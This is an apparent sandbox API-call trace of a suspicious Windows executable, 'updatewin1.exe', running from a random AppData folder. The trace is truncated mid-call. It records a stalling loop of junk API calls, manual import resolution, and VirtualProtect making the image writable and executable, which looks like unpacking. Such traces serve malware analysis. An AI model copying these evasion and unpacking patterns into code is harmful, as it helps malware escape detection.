0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.660] AddAtomA (lpString=0x0) returned 0x0 [0093.660] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.660] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.661] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.661] AddAtomA (lpString=0x0) returned 0x0 [0093.661] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.662] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.662] AddAtomA (lpString=0x0) returned 0x0 [0093.662] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.663] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.663] AddAtomA (lpString=0x0) returned 0x0 [0093.663] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.664] AddAtomA (lpString=0x0) returned 0x0 [0093.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.664] AddAtomA (lpString=0x0) returned 0x0 [0093.664] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0093.664] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0093.686] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0093.686] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0093.686] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0093.687] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0093.687] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0093.687] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0093.687] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0093.687] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0093.687] SetErrorMode (uMode=0x400) returned 0x0 [0093.687] SetErrorMode (uMode=0x0) returned 0x400 [0093.687] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0093.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0093.690] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0093.721] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.722] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0093.722] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0093.722] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0093.722] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0093.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0093.724] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0093.725] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0093.726] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0093.727] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0093.727] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0093.727] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0093.727] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0093.728] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0093.728] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0093.728] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0093.728] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0093.728] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0093.728] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0093.728] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0093.728] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0093.728] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0093.728] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0093.728] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0093.728] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0093.728] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0093.731] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0093.731] atexit (param_1=0x5263d8) returned 0 [0093.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xebbe2ad0, dwHighDateTime=0x1d50371)) [0093.731] GetCurrentThreadId () returned 0xac0 [0093.731] GetCurrentProcessId () returned 0xabc [0093.731] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=21357834415) returned 1 [0093.731] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.732] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.732] GetLastError () returned 0x57 [0093.732] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.732] GetLastError () returned 0x57 [0093.732] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0093.732] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0093.732] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.732] GetLastError () returned 0x57 [0093.732] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0093.732] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0093.732] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.732] GetLastError () returned 0x57 [0093.732] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.732] GetLastError () returned 0x57 [0093.732] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0093.732] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0093.733] GetProcessHeap () returned 0x510000 [0093.733] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.733] GetLastError () returned 0x57 [0093.733] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0093.733] GetLastError () returned 0x57 [0093.733] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0093.733] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0093.733] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x364) returned 0x53a9e8 [0093.733] SetLastError (dwErrCode=0x57) [0093.733] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc00) returned 0x53ad58 [0093.734] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x13343c5a, hStdError=0xfffffffe)) [0093.734] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0093.734] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0093.735] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0093.735] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" " [0093.735] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" " [0093.735] GetACP () returned 0x4e4 [0093.735] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x220) returned 0x539ea8 [0093.735] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.735] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0093.735] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.735] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0093.735] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0093.735] GetLastError () returned 0x57 [0093.735] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0093.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0093.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 